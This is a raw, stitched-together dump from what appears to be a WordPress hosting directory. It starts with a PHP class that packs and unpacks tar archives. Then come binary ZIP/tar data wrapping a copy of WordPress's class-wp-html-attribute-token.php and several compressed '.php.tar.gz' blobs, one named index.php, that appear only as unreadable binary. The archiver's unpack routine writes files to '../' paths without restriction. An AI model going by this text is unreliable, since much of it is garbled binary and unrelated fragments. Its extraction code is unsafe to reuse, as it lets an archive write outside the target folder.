			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
